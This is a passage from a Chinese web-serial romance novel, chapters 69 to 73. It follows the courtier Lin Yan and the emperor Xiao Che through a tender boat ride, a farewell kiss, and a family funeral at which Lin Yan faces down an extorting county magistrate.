萧彻低头看着手中那根不断绽放银芒又逐渐缩短的烟花棒,感受着那一点微弱却真实的暖意,一种极其陌生却又熨帖的平和感缓缓包裹住他。 仿佛那些沉重的政务、冰冷的权谋、孤高的皇座,都被这河上清风与手中这点小小的光芒暂时驱散了。 林砚看着萧彻专注的侧脸,忽然轻声开口:“萧公子,我忽然想起,还不知你的表字?”之前一直称呼陛下,竟从未问过这个。 萧彻抬眸,手中的烟花恰好燃到尽头,最后几点银星迸溅,熄灭。 他沉默片刻,才道:“昭临,萧昭临。” “昭临。”林砚低声重复了一遍,立刻想起了出处,“明明上天,昭临下土,是《诗经》里的句子?这字取得真好,也真重。”一听便知承载了何等厚重的期望与严苛的要求。 天之昭昭,明察秋毫,俯视万民,这简直是为君者的写照。 萧彻似乎轻笑了一下,极淡,带着些许难以言喻的意味:“少时太傅所取。” 林砚心里忽然有点软软的酸涩,他想象着一个年幼的萧彻,在无数双眼睛的注视下,被要求言行举止皆要符合“昭临”二字时的模样。 他往萧彻身边靠了靠,声音也放柔了些:“我的字是含章,蕴藉内含,章显于外,我爹给取的,希望我内有锦绣,外露华章。” 林砚忽然侧过头,看着萧彻在昏暗光线里显得格外深邃的眼眸,唇角弯起一个狡黠又温柔的弧度:“你看,昭临天下,含章匿美,咱们俩这字,是不是还挺配?” 这话说得胆大妄为,却又带着一种直白而真挚的亲近。 萧彻的心像是被什么东西猛地撞了一下,又软又胀。 河面的风似乎都停滞了一瞬,只有水波轻轻荡漾的声音。 他看着林砚亮晶晶带着笑和某种期待的眼睛,那里面清晰地映着属于他的倒影。 一股强烈的冲动攫住了他。 萧彻伸出手,不是握住,而是直接穿过林砚的手臂,以一种不容拒绝又极尽温柔的力道,将人轻轻揽入了自己怀中。 林砚猝不及防,低呼一声,整个人撞进一个温暖宽阔的胸膛,鼻尖瞬间充斥满那熟悉的、令人安心的沉水香气。手里的烟花棒差点掉下去,他下意识地攥紧。 “哎……” “别动。”萧彻的下巴轻轻抵着他的发顶,手臂环住他的腰身,将人稳稳地圈在怀里,声音低沉得近乎喟叹,落在林砚的耳畔,“……是很配。” 河风拂过,带来远处模糊的喧嚣,却又仿佛隔着一层无形的屏障。 小船在船夫有节奏的摇橹声中轻轻摇晃,如同一个温柔的摇篮,篷内那盏小油灯的光晕将两人相拥的身影投在船篷上,模糊地融在一起. 林砚起初还有些僵硬,但很快便在这样温暖的怀抱和轻柔的摇晃中放松下来,他甚至悄悄调整了一下姿势,让自己靠得更舒服些,脸颊贴着萧彻的衣襟,能感觉到衣料下沉稳的心跳。 他没有再说话,萧彻也没有。 两人就这样静静依偎在飘荡于河水中央的一叶扁舟上,听着水声,感受着彼此的温度和心跳。 手中的烟花早已熄灭,但某种更明亮更温暖的东西,似乎在两人紧贴的胸膛之间,悄然滋生,无声蔓延。 也不知过了多久,船轻轻靠岸,船夫低声道:“二位公子,到了。” 萧彻这才缓缓松开手臂。 林砚从他怀里抬起头,脸颊还有些微热,眼神赧然,又有点意犹未尽。 两人一前一后下了船,站在岸上,回望那艘渐渐驶离的小舟和倒映着万家灯火的河面,都有种恍若隔世的感觉。 “走吧。”萧彻的声音恢复了平时的平稳,却比之前更加温和,“送你回去。” “嗯。”林砚点点头,乖乖跟上。 回程的马车里,两人依旧并肩坐着,气氛却与来时截然不同,偶尔目光相触,都会迅速分开,却又忍不住再次交汇,嘴角不自觉地扬起相似的弧度。 马车在林府侧门停下。 林砚跳下车,转身对车内的萧彻挥挥手:“萧公子,那我回去了?” “嗯。”萧彻颔首,目光落在他身上,“早些歇息。” 看着林砚的身影消失在门内,萧彻才缓缓放下车帘,指尖无意识地捻了捻,仿佛还能感受到方才怀抱里的温度和重量。 “回宫。”他吩咐道,声音里是自己都未曾察觉的愉悦和满足。 李德福赶紧应声,驱动马车。 车厢内,萧彻靠在车壁上,闭上眼,脑海里却反复回放着方才河面上,林砚靠在他怀里,仰着头说“咱们俩这字,是不是还挺配”时的模样。 他抬起手,轻轻按了按自己的心口。 那里,跳得依旧有些快。 良久,他极低地、无声地笑了一下。 含章。 昭临。 甚配—— 作者有话说:[垂耳兔头][垂耳兔头][垂耳兔头] 有4000营养液加更,记得往后翻[比心] 第70章 第 70 章 飞快地在萧彻的嘴唇上亲…… 过年好, 过年妙,过年让人想睡觉。 从初二开始,林砚就被迫开启了“拜年酷刑”模式。 先是跟着老爹林承稷, 穿着裹得像粽子的官袍, 一家家地去给上官、座师拜年。 工部衙门那几位老大人家门槛都快被踏平了,说的全是车轱辘话, 什么“新年新气象”、“为陛下分忧”,脸笑得发僵, 吉祥话说到词穷,还得时刻提防着别被哪位热情过头的长辈塞个红封——那玩意儿收了烫手,还得找机会让娘亲变着法儿还回去,心累。 接着是娘亲文韫那边的夫人社交圈。 林砚被拖着去了几家与文家交好,或者试图与如今“圣眷正浓”的林家攀交情的府邸。 那些夫人们看他的眼神, 活像饿狼见了肉骨头,吓得他恨不得当场表演一个原地隐身。 幸好娘亲战斗力惊人,四两拨千斤地把所有明示暗示都挡了回去,只留下他在一旁充当微笑木头人。 就连想窝在家里躲清闲都不成,自家门槛也快被拜年的同僚、故旧踏破,林砚得端出林家主人的架势, 陪着说话喝茶, 应对那些或真诚或试探的问候。 几天下来,感觉身体被掏空。 他应该不会因此肾虚吧? 不想应付里里外外的宾客, 想见萧彻,想跟萧彻约会。 怨念在林砚心里堆积发酵,终于在一个午后,化成了实际行动。 铺开那特制的暗纹纸笺,提笔开始写他的“暗卫密报”, 前面规规矩矩汇报了近日拜年所见所闻,各家动向,一切正常,写到末尾,那笔尖就忍不住带上了个人情绪,开始疯狂吐槽,跟自己男朋友吐槽也是情理之中嘛。 【……另,臣近日深感年节应酬之疲累,甚于部务,每日笑脸迎人,言不由衷,足力奔波,身心俱疲,遥想上元之约,竟如沙漠旅人渴盼甘泉,唯望早日得脱此苦海,与与民间同乐,感受真实烟火气,陛下居深宫,或不知臣等奔波之苦,然臣之怨念,已然浓可凝实,夜半绕梁三日而不绝矣。】 写完后,林砚吹干墨迹,熟练地塞进老地方,心里舒坦了点。 很好,既完成了工作汇报,又委婉地表达了一下对不能立刻约会的“小抱怨”。 不过林砚只是想吐槽,总不能让自己男朋友勒令上门拜年的人不许上门。 隔天,金九亲自送来回信,交到林砚手上的。 【上元灯如昼,必不负卿约,稍安勿躁。】 没有盖印,没有署名,简单至极。 林砚捏着那张纸,反反复复看了好几遍,嘴角控制不住地往上翘。 哎呀,这就是谈恋爱吗?美滋滋。 林砚心生一计,每天通过金九跟萧彻“线上聊天”,虽然没有见面,但是恋爱的氛围十足。 心情刚晴朗没两天,一个突如其来的消息,如同冰水浇头,把林砚那点小期待泼灭了。 老家来信了。 信是派了人日夜兼程送来的,送到林承稷手上,林承稷看完,脸色瞬间凝重。 他立刻把全家人都叫到了跟前。 “刚接到老家送来的信,”林承稷的声音有些发沉,“祖母她老人家年岁大了,今年入冬后身子就一直不大好,眼下眼看着……怕是熬不过这个春天了,那边让我们一家,尽快回去见最后一面。” 厅内瞬间安静下来。 文韫的眼圈立刻就红了,虽然嫁过来后与那位高寿的祖母见面次数不多,但老人家的慈和她是记得的。 林墨也低下头,小手绞着帕子。 林砚虽然对这位曾祖母感情不算深厚,但血脉亲情和“奔丧”二字的沉重感,还是瞬间压了下来。 这意味着,他们必须立刻动身回老家。 “爹,消息确凿吗?”林砚问。 “嗯。”林承稷叹了口气,“以老人家的年纪和如今的天气……怕是难了,我们得尽快动身,我已打算今日就上折子,为你我告假,从正月十六开始算,请假二十天,快马加鞭,应该能赶上来回。” 那上元节呢? 萧彻怎么办? 林砚此时有些头大,感觉老天爷在戏弄他。 事情既定,林家立刻忙碌起来,收拾行装,安排车辆,通知各家年节拜访取消。 林砚心里堵得慌,却也只能压下所有情绪,帮着父母打理事务。 告假的折子很快批了下来,萧彻甚至额外多给了几天假,显然是知晓了内情。 出发的前一日,林砚想了想,还是决定亲自进宫一趟,于公于私,他都得去跟萧彻说一声。 而且,他是真的舍不得萧彻。 进宫很顺利,萧彻似乎早知道他会来,直接在清漪阁见的他。 阁内暖融如春,萧彻屏退了左右,只留李德福在远处伺候。 林砚行过礼,看着萧彻,一时间竟不知该如何开口,心里那点失落冒了头,闷闷地道:“陛下,臣明日便要随家人回老家了。” “朕知道。”萧彻的声音比平日更温和些,“路上小心。” “嗯。”林砚低下头,盯着自己的靴尖,“就是……就是原来说好的上元节,臣去不了了。” 说这话时,声音里不自觉地带上了歉疚。 萧彻看着他这副模样,沉默了片刻,道:“无妨,正事要紧,见老人家最后一面,是为人子孙的本分,约定……以后再说。” 这话说得通情达理,甚至体贴。 林砚闷闷地“嗯”了一声,还是不开心。 萧彻看着他蔫头耷脑的样子,忽然又道:“此行路途遥远,朕不放心,让金九明面上跟着你回去,不必再隐匿,以后,他就跟着你,护你周全,若有什么需要,他也能就近联系金影卫的暗桩。” 林砚一愣,抬起头:“让金九跟我回去?”他只是回个老家,带个皇帝的暗卫,不合适吧? “稳妥起见。”萧彻语气平淡,却不容拒绝。 没等林砚消化完这个安排,萧彻又对李德福抬了抬手。李德福立刻捧过来一个沉甸甸的紫檀木盒。 萧彻打开盒子,里面赫然躺着一块玄铁令牌,上面刻着狰狞的龙纹和一個“御”字,旁边还有一卷明黄色的绢帛。 “这是?”林砚眼睛瞪大了。 “令牌可调沿途府县驻军,见令如朕亲临。”萧彻将令牌拿出来,塞到林砚手里,那冰冷的触感和沉重的分量让林砚手一抖,“这道空白圣旨,盖了朕的印玺,若遇万分紧急无法通传之事,你可自行填写内容,便宜行事。” 林砚捧着那令牌和圣旨,只觉得两手发烫,脑子嗡嗡作响。 代表皇帝本人的令牌,盖了印的空白圣旨,这份量太重。 林砚推辞:“我就是回一趟老家,应该不至于用得上,陛下不然还是收回去吧?” “拿着。”萧彻按住他的手,“有备无患,朕不希望你有任何闪失。” 林砚看着萧彻深邃的眼眸,那里面是毫不掩饰的担忧和一种他看不太懂的沉重。 他忽然福至心灵,一个荒谬的念头冒了出来。 他眨眨眼,压下心中的惊涛骇浪,半开玩笑半试探地问:“陛下,你给我这么多保命的东西,该不会其实是您自己想跟我一起去吧?” 这话问得大胆又僭越。 萧彻闻言,身体僵了一下。 他没有立刻回答,只是沉默地看着林砚,那眼神复杂难辨,有关切,有无奈,甚至有一丝被说中心思般的波动。 这沉默,简直就等于默认了! 林砚这回是真的惊了,嘴巴微张,眼睛瞪得溜圆。 我去!不是吧?真猜中了? 萧彻居然真的想跟他一起回老家?他居然把皇帝迷得五迷三道到这种地步了? 林砚第一次发现自己的魅力原来有这这这这这么大。 巨大的震惊冲击着林砚的大脑。 他看着萧彻,此刻的皇帝陛下褪去了平日的威严深沉,因为那片刻的沉默和眼底泄露的情绪,竟显得有点可怜。 像一只被迫留在家里看门的大型犬。 林砚的心一下子软得一塌糊涂,上前一步,伸出手,轻轻地抱住了萧彻。 萧彻显然没料到他会突然如此,身体瞬间紧绷。 林砚却不管不顾,抱了一下后,微微踮起脚尖,飞快地在萧彻的嘴唇上亲了一下。 柔软而短暂的触感,却像一道惊雷劈在了两人之间。 林砚的脸瞬间爆红,松开手,连退两步,心脏狂跳得快要从嗓子眼里蹦出来。 他都不敢看萧彻的表情,语无伦次地扔下一句:“陛、陛下放心!臣一定早点回来!等我!” 说完,林砚几乎是落荒而逃,抓着手里的令牌和圣旨,头也不回地冲出了清漪阁,脚步快得像是后面有狼在追。 留下萧彻一个人僵在原地,保持着被偷袭的姿势,手指下意识地抚上还残留着温热触感的唇瓣,眼底翻涌着惊愕、难以置信,以及迅速蔓延开、几乎要将他淹没的汹涌情绪。 林砚又亲了他。 这一次不是亲在脸颊,而是更亲密的嘴唇。 林砚的唇温温的、软软的,如果能衔住细细品尝,一定很好亲。 李德福早在林砚抱上去的那一刻就把自己缩成了背景板中的背景板,恨不得原地蒸发。 这是他可以看的吗?他只是一个太监,太监啊! 清漪阁内,一时间落针可闻,只剩下地龙炭火偶尔发出的噼啪轻响,以及某个皇帝骤然失控的心跳声。 而林砚也没有好到哪里去,他虽然主动撩拨萧彻,可终究在此道上也是个新手,否则也不会落荒而逃,而是拉着萧彻更深入一些。 太刺激了。 林砚坐回马车上,整个人都散发在热气—— 作者有话说:李德福:有没有人为我花生啊!《 》 70-80 第71章 第 71 章 想念你。 正月初七, 天刚蒙蒙亮。 林府门口几辆马车一字排开,仆役们正忙着将最后几个箱笼捆扎结实。 林砚搓着手,看着这阵仗, 感觉自己不是回老家探亲, 而是要去参加一场不知名的荒野求生。 文恪站在门口给林家四人送行。 原本他们还能陪着文恪,有人在一旁开解文恪还能安心备考, 现在他们一走一个月,文恪就没人陪了。 林砚心里门儿清, 这年头科举就是千军万马过独木桥,卷生卷死,文恪压力山大。 他叹了口气,开始唐僧附体:“表哥,考试这事吧, 心态很重要,你别老想着考不上就怎么着,天塌不下来,答题的时候字写工整点,策论多结合实际,别尽整那些虚头巴脑的对了, 考场上记得带点饴糖, 饿得头晕眼花时能顶一阵……” 林砚絮絮叨叨,从考前复习到考场应急, 从饮食起居到心理建设,颇有化身高三班主任的趋势。 文恪一开始还认真听着,后来眼神逐渐放空,大概是被这突如其来的“科考指南”给淹没了。 直到林承稷在马车里催了:“砚儿,时辰不早了, 有什么话回来再说。” 林砚这才刹住车,最后叮嘱一句:“总之,放宽心,我们等你的好消息。” 他转身上了马车,车队缓缓启动。 林砚从车窗探出头,看见文恪还站在原地,挥着手,身影在寒风中显得有点单薄,配上那学霸独有的倔强和一点点茫然,看得林砚心里怪不是滋味。 唉,科举真是折磨人。 马车辚辚,驶出了京城。 官道两旁的景色逐渐从繁华街市变为枯黄田野,透着冬日的萧索。 林砚裹紧了身上的玄狐皮裘——萧彻送的那件,确实暖和得不像话,就是穿在身上总感觉像揣了个移动火炉,还是皇帝牌儿的。 车里,母亲文韫和妹妹林墨低声说着话,话题绕不开老家那些几乎没怎么见过面的亲戚。 林砚靠在车壁上,听着车轮单调的滚动声,思绪有点飘。 他对老家的记忆实在模糊得很。 祖父祖母倒是见过几次,印象里是挺严肃的老人。 曾祖母似乎是个很瘦小、总是笑眯眯的老太太,但上次见都是好多年前了。 至于曾祖父,坟头草估计都换了好几茬了。 这次回去,是见最后一面。 生老病死,人之常情,但一想到血脉相连的亲人即将离去,心里还是像堵了团湿棉花,闷闷的,有点酸涩。 这就是所谓的“亲族”吧,平时想不起,真要失去了,又觉得空落落的。 路途漫长且无聊。 第一天还有点新鲜感,看看窗外原生态的风景。 第二天就开始腰酸背痛,怀念家里那张柔软的大床。 第三天,林砚已经能对着拉车的马背诵《论语》了——当然是心里背,嘴上不敢,怕被爹娘以为他疯了。 第八天傍晚,当马车终于驶入洛州地界,停在一个看起来还算繁华的镇子口时,林砚觉得自己快要散架。 老宅不在县城,就在这镇上。 林家是标准的耕读传家,有点田地收租,算是镇上的“小康家庭”,有自己的宅子和铺面。 车刚停稳,宅子里就呼啦啦涌出一大群人。 为首的是一对头发花白、面容严肃的老人,正是林砚的祖父祖母。旁边围着好些男男女女,伯父伯母、叔叔婶婶、堂兄弟、堂姐妹……还有一些穿着各式各样、关系拐了七八个弯、林砚压根对不上号的亲戚。 好家伙,这人口密度,看得人都要有密集恐惧症了。 林砚一下车,就被各种目光包围,夹杂着“这就是砚哥儿?”“长得真俊!”“在京城做大官了?”的议论声。 他脸上挂着标准社畜假笑,跟着爹娘一一认亲。 “这是你大伯父,大伯母。” “这是三叔,三婶。” “这是你二堂兄,那是他媳妇……” “这是你远房表姑姥爷家的……” 林砚只能嗯嗯啊啊地点头,微笑。 寒暄完毕,进入下一个环节——住宿分配问题。 老宅虽然不小,但也架不住突然涌进这么一大波人,早已挤得满满当当,连厢房都打了地铺。 林砚他爹林承稷是官身,带着家眷回来,按理说该住正房,但看着祖父母为难的神色,再看看那一屋子眼巴巴的亲戚…… 林砚立刻发挥高情商),主动开口:“祖父,祖母,家中既然住不下,我们便去镇上客栈暂住吧。” 祖父沉吟一下,点了点头:“也好,委屈你们了。” 林砚赶紧摆手:“不委屈不委屈。”心里想的却是:太好了,不用跟一堆不熟的亲戚挤大通铺,想想被大家围着问东问西,林砚就头皮发麻。 安顿好住宿问题,一家人先去里屋看望曾祖母。 房间里弥漫着淡淡的药味和老人特有的气息。 曾祖母躺在床上,盖着厚厚的被子,瘦得只剩下一把骨头,呼吸微弱得几乎察觉不到。 祖母红着眼圈,低声道:“娘,承稷一家回来看您了。” 她示意林砚和林墨上前磕头。 林砚和林墨恭恭敬敬地跪下,磕了三个头。 看着老人枯槁的容颜,林砚心里那点闷闷的感觉又涌了上来。生命流逝,总是让人唏嘘。 祖母抹着眼泪:“老人家放不下的,就是你们这些小辈,还没成家……” 林砚默默低头,假装没听懂这话里的暗示。 从曾祖母房里出来,天色已彻底暗下,一家人便告辞出来,去了金九订好的客栈。 客栈条件自然比不上京城,但还算干净整洁。 终于有了独立空间,林砚长出一口气,感觉自己又活了过来。 洗漱完毕,躺在客栈的床上,虽然床板有点硬,但总算能伸开腿。 奔波多天的疲惫袭来,林砚却有点睡不着。 窗外是陌生的乡镇夜色,偶尔传来几声狗吠。 想着病榻上的曾祖母,想着那一大家子陌生的亲戚,想着京城里的那个人…… 犹豫了一下,林砚还是爬起来,摸出纸笔,就着昏黄的油灯,开始写信。 【陛下敬启,臣已平安抵达洛州老家,曾祖母病体沉疴,恐时日无多,家中亲戚众多,甚是热闹……臣一切安好,望陛下勿念。】 写到这里,笔尖微顿。 想念你。 最后三个字,林砚当然没写上去,只是心里过了一遍,脸上有点发烫。 把信纸折好,塞进信封,叫来金九:“帮我送回京城。” 金九接过信,身影一闪,便融入了夜色中。 林砚重新躺回床上,望着帐顶,叹了口气。 他闭上眼睛,强迫自己入睡。 第二日一早,林家四口在客栈用了些清粥小菜,便匆匆赶往老宅。 镇上清晨的空气带着一股清冷的潮湿气,与京城干燥的寒冷截然不同。 进门后,发现气氛比昨日更加凝重,几位伯母的眼睛都是红肿的。 一位须发皆白的老大夫刚给曾祖母请完脉,正由祖父陪着从里屋出来,在堂屋低声交谈。 林砚一家安静地站在一旁等候。 只见老大夫一边缓缓摇头,一边压低了声音对祖父道:“老太太脉象已是游丝之状,油尽灯枯之兆,老夫开的那几味参汤,也不过是尽人事,吊着一口气罢了,府上还是早做准备吧。” 林老爷子闻言,布满皱纹的脸上肌肉抖动了一下,背脊似乎更佝偻了些。 他沉重地点点头,哑声道:“有劳李大夫了。” 送走大夫,堂屋里陷入一片压抑的寂静,祖母的啜泣声低低地响起来,几位伯母连忙上前搀扶劝慰。 林承稷作为儿子,此刻必须站出来。 他上前一步,对祖父道:“父亲,既然大夫这么说了,后事的一应物品,儿子跟兄弟们这就差人去操办起来,棺木、寿衣、香烛纸马,都不能缺了礼数。” 祖父疲惫地摆摆手:“你们去办吧,稳妥些就好,不必过于奢靡,你祖母不喜那些。” “儿子明白。”林承稷躬身应下,转身便去吩咐跟着回来的林家下人和老宅的几个得力仆役分头去置办。 一时间,老宅里原本那种因人多而产生的嘈杂热闹消失了,取而代之的是一种有序的忙碌和弥漫在空气中的悲伤。 林砚作为孙辈,也被安排了任务——和几位堂兄弟一起,负责接待闻讯前来探望或准备来帮忙的族亲和乡邻。 于是,林砚的“连连看”游戏难度再次升级。 不仅要记住昨天那拨亲戚,还要应付今天新来的各种“三叔公”、“五舅奶奶”、“远房表婶”…… 偶尔有相熟的老乡邻过来,会拍着林砚的肩膀对林老爷子夸赞:“老爷子好福气,孙儿一表人才,老太太走得也安心啊!” 林老爷子脸上会勉强挤出一点笑,但眼底的哀伤却化不开。 林砚只能谦逊地低头,心里却有点不是滋味。 这种时候,他这“京城大官”的身份,反而成了一种点缀,仿佛曾祖母的离世也因此多了点“光彩”似的。 趁着间隙,林砚溜到后院透气,却看见妹妹林墨和几个堂姐妹正被几位伯母婶婶围着,低声说着什么,手里还拿着针线,像是在赶制什么白色的物件。 林墨抬头看见他,眼睛红红的,像是刚哭过。 林砚走过去,低声问:“怎么了?” 一位伯母叹了口气,小声道:“给老太太绣鞋呢,得赶着做出来。墨姐儿心细,手也巧,正教她们几个针脚。” 林砚看着林墨微红的眼眶和认真穿针引线的样子,心里那点因为应付亲戚而生的烦躁忽然就散了。 死亡带来的不仅是悲伤,还有这些具体而微、必须有人去做的琐事,这些琐事本身,就是一种告别和尽孝。 他在礼部待过,本该比旁人更理解的。 林砚默默站了一会儿,转身回到前院,继续他的“接待工作”,心态却平和了许多。 忙碌间隙,他目光总会不经意地望向那扇紧闭的房门。 里面躺着那位他并不熟悉,却与他血脉相连的老人,生命的气息正一点点从她身上流逝。 而门外,她的儿孙们,正用各自的方式,准备送她最后一程。 黄昏时分,置办后事的东西陆续送了回来,漆黑的棺木停在堂屋,散发着新木和油漆的味道,无声地宣告着最终的结局。 气氛更加压抑了。 林承稷忙得脚不沾地,文韫也在一旁帮着清点物品,指挥摆放。 林砚看着父母忙碌而沉重的背影,忽然想到,很多年后,他或许也要这样送别自己的父母。 这个念头让他心里猛地一揪。 生命更迭,岁月无常。 第72章 第 72 章 林砚很久没有见过这种憨…… 正月十九的深夜, 寒气凝滞,万籁俱寂。 一阵急促却压抑的叩门声,惊扰了林家人的睡梦。 林砚被母亲带着泣音的低唤惊醒, 门开后, 见母亲眼圈通红,身后站着一位风尘仆仆、面带戚容的中年汉子, 是老宅来的族亲。 “砚哥儿,老太太酉时末刻……”汉子嗓音沙哑, 话语虽未尽,其意已昭然。 虽早有预料,但此情此景,林砚还是难免悲伤。 林承稷已收拾停当,面色沉郁:“速换素服, 车马已备,即刻动身。” 夜色浓稠,马车碾过冻硬的道路,辘辘声在死寂的中显得格外沉闷。 林砚靠着车壁,望向窗外无边的黑暗。 抵达老宅时,天际仅透出一线惨淡的灰白。 青砖院落被无数白灯笼照得透亮, 映出一片死寂的忙乱, 白幡垂落,在晨风中无力飘动, 压抑的呜咽声从正堂断续传来,揪人心肺。 林老爷子见林砚一家人来了,嗓音喑哑:“先去磕头。” 灵堂尚未齐备,曾祖母的遗体暂厝于生前居住的正屋东间。 长明灯幽暗,烛火摇曳, 空气中混杂着香烛与一种生命逝去后特有的冰冷气息。 老人穿戴整齐,容颜枯槁却异常安详,静卧于床上,宛若沉眠。 林砚和林墨随父母依次跪下,深深叩首。 礼毕,林老爷子唤过林承稷,老人强抑悲痛,哑声吩咐:“砚儿是曾孙辈里最有出息的,如今身在朝堂,这复礼之仪,由他来吧。” 复礼——持逝者衣,登高而呼,招魂归兮。 一位叔伯默默递来一件曾祖母生前常穿的旧衣,触手冰凉,在老仆指引下,林砚行至院中,准备登上屋顶。 林砚握紧手中衣物,扶梯而上,林承稷带着人扶住梯子。 爬上了高高的屋顶方觉寒风如刀,刮面生疼,林砚竭力站稳,面向苍茫北方,那是传说中魂灵归往之所。 他曾在礼部做了许久的官,论这些礼制上的东西,也是最熟悉的。 林砚举起旧衣,运足气力,朝着凛冽的天空,纵声长呼:“曾祖母——张氏玉兰——归来兮——!” 呼声穿透清冷晨曦,带着不易察觉的颤音,散入虚空。 “曾祖母——张氏玉兰——归来兮——!” 第二声,悲意上涌,喉头哽咽,几乎难以成调。 “曾祖母——张氏玉兰——归来兮——!” 第三声,已是凭着一股意志竭力喊出,嘶哑不堪,仿佛连自己的魂魄也要随之而去。 仪式已成。 几乎就在林砚尾音落下的瞬间,底下守候的亲人们如同堤坝溃决,积压的悲声轰然爆发,哀哭顷刻淹没了整个院落。 林砚立于屋顶,望着下方一片缟素,听着震天恸哭,巨大而真实的悲怆将他笼罩。 他默默下梯,双脚踏地时,竟有些虚软。 后续仪程繁琐沉重。 遗体被妥帖安放,口中纳入“饭含”——米贝与一枚温润的小玉,不让老人空口离去。 灵枢东侧设“奠”,摆放酒食,行首次祭奠。 天色大亮后,林砚的祖父母强忍哀痛,遣人四出报丧,服丧的子孙们换上麻衣,开始居丧。 特意请来的老师傅为曾祖母沐浴、净面、栉发、修剪甲胄,每一个动作都充满最后的敬意与侍奉。 继而再次“饭含”,为老人换上早已备好的繁复寿衣,覆以衾被。 林砚林墨作为曾孙,需与一众小辈在灵旁跪守。 吊唁者络绎不绝。 林家乃本地耕读传家之族,林砚祖父与伯父虽止步秀才,却执教多年,门生不少,加之林砚和林承稷都在京为官,更让林家在此地颇有清望。 林承稷、文韫并诸位伯父叔婶,随着祖父祖母不停还礼答谢,人人面带哀戚,嗓音尽哑。 林砚跪于冰冷地面,膝头刺痛,思绪却无法全然凝聚于哀思,身体的疲惫与仪式的冗长交织,意识时有恍惚。 午后,吊唁人流稍疏。 林砚正暗自舒缓麻木双腿,忽闻门外传来些许喧哗,夹杂门房略显慌乱的通报:“县令大人到——” 林家众人皆是一怔。县令亲至,礼遇过重。 林老爷子连忙出迎。 只见本县县令陈博渊领着几名衙役,踱步而入。 那陈县令约莫四十来岁,留着两撇小胡子,官袍穿得倒是整齐,就是眼神里透着股精明和拿腔拿调。 他随意地摆了摆手,目光在灵堂里扫了一圈,尤其在那些吊唁的乡绅和略显丰厚的祭品上多停留了几秒,然后拖长了调子开口:“本官听闻林家老夫人仙逝,特来吊唁,嗯……瞧着这排场,林家不愧是本地望族啊,这丧仪规制……似乎有些过于隆重了吧?” 陈博渊话音一顿,语气里带上了几分挑剔和意味深长:“按《礼制》,寻常人家这般操办,怕是有些逾越了,本官既为一县父母,看见了就不能不管,此事,待本官回头细细查勘,若真有僭越之处,少不得要行文上报礼部说道说道。” 这话一出,灵堂里的气氛瞬间僵住,众人的脸色都变得很难看。 这分明就是来找茬的!而且专挑人家办丧事的时候来找茬! 林砚跪在下面,心里的小火苗“噌”一下就冒起来了。 林老爷子怒火中烧:“陈大人莫要信口开河!” 陈博渊掸了掸自己的官袍:“本官是不是信口开河,也不是你们说了算的。” “陈大人,我儿子孙子也在,你不要太过分。”有些话不好说得太直白,林老爷子只点到为止。 岂料陈博渊却不屑地发出嗤笑:“你家老太太才落气,你儿子孙子还在京城呢。” 林砚也是混了官场好几年的人,脑子转了一圈就明白了这陈博渊打的是什么主意。 不知林家跟这陈博渊有什么过节,陈博渊便想抓林家的把柄整死林家,奈何林家有两个在京城做官的,这两个人要是在陈博渊的面前,陈博渊作为下官自然不敢这么放肆,可他以为老太太刚落气,林家就算是派人去京城里叫林承稷一家人回来,也需要好些日子,而他就可以趁此机会抓了林家的错处弄死林家。 林砚很久没有见过这种憨批了,他撑着站起来,掀开盖住自己半张脸的白布走上前:“陈县令,你好大的威风。” 声音并不高,甚至带着几分久跪后的沙哑,但那股子沉静的压迫感,却让喧闹的灵堂骤然一静。 他并未急着与陈博渊争论什么,而是就着金九搬来的椅子,缓缓坐下。 这个动作由他做来,竟无半分突兀,仿佛他生来就该居于人上,受众人瞩目。 林砚理了理素麻孝服的宽袖,指尖苍白,动作与这悲戚场景既矛盾又奇异地融合的从容。 陈博渊被这突如其来的变故和对方言语中的居高临下弄得一怔,待看清对方只是个面容年轻、身着重孝的男子,不由愠怒:“你是何人?竟敢如此对本官说话!”他试图以官威压人,但底气已不似方才那般十足。 林砚并未直接回答,而是微微抬眼,目光平静地落在陈博渊脸上。 那目光并不锐利,却沉甸甸的,带着审度和冷意,竟让陈博渊下意识地想避开。 “陈县令。”林砚开口,语调平缓,却步步紧逼,“我林家今日举丧,老夫人新逝,阖家悲恸,哀毁骨立,你不思体恤,反在此刻,于灵堂之上,指责我林家丧仪逾矩。” 林砚轻轻顿了顿,仿佛真的感到疑惑,微微向前倾身,声音压得更低了些,却更透出一股寒意:“巧了,本官在任翰林学士前,乃是礼部的郎中,本官倒是想问问陈县令,我家哪里不合礼制?还是说,你得罪了我们家,因此才选在这等时分,上门来行此刁难之举?” 所有人都惊呆了。 什么叫“你得罪了我们家”? 原来话是可以这么说的吗? “本官”二字一出,陈博渊脸色骤变,他一下子就意识到了这个年轻人是御前极为得脸的林砚! 林砚怎么会在的?林家那老太太分明才去世! 陈博渊脑子里嗡的一声,所有算计顷刻间土崩瓦解,只剩下巨大的恐惧攫住了心脏,双腿一软,几乎要当场跪下去,强撑着才没失态,嘴唇哆嗦着,却一个字也吐不出来。 林砚并未给他喘息之机:“陈县令?你抖什么?不同本官说说我家的丧礼哪里不合礼制?” 这话一出,陈博渊更是魂飞魄散,他哪里懂什么礼制?不过是借个名头唬人罢了,更何况林砚还在礼部做过官,论礼谁能论得过礼部的人? “下官……下官……”陈博渊喉头干涩,冷汗顺着额角滑落,滴进眼睛里,刺痛也不敢擦,“下官失言,下官绝非此意!林大人明鉴,下官只是……” 陈博渊语无伦次,搜肠刮肚也找不到合适的借口,最终只能深深躬下身去,几乎成了九十度:“下官糊涂!惊扰老夫人安宁,冒犯林府,下官罪该万死!请林大人恕罪!请林老先生恕罪!” 他此刻恨不得时光倒流,把自己刚才说的每一个字都吞回去。 灵堂内鸦雀无声,所有宾客都屏息看着这一幕,看着那方才还趾高气扬的县令,此刻在那位年轻林大人几句轻描淡写的话下,抖得如同风中落叶。 林家人更是心情复杂难言,林老爷子看着孙子,眼中既有扬眉吐气的快意,又有一种陌生的震撼,他知官场等级森严,却从未想过,自己孙子仅凭几句话,就能将一县之尊逼到如此地步。 这已非仅是官阶高低,更是一种源自权力的无形威慑。 林砚看着陈博渊这副摇摇欲坠的丑态,眼中厌弃更深,他并未立刻叫起,任由那令人窒息的沉默持续了片刻,让恐惧更深地侵蚀对方。 “祖父,您来说,我们林家同这位陈县令,到底有什么过节?”林砚目光转向林老爷子。 陈博渊失措大叫:“没有过节!” 第73章 第 73 章 若思念便思念。 林老爷子被孙子点名, 胸膛剧烈起伏了几下,浑浊的老眼里迸出愤怒的火光,他指着抖如筛糠的陈博渊, 声音因激动而发颤:“砚哥儿问起, 老夫今日便说了!” “这姓陈的混账,年前朝廷下发赈济寒潮的银两, 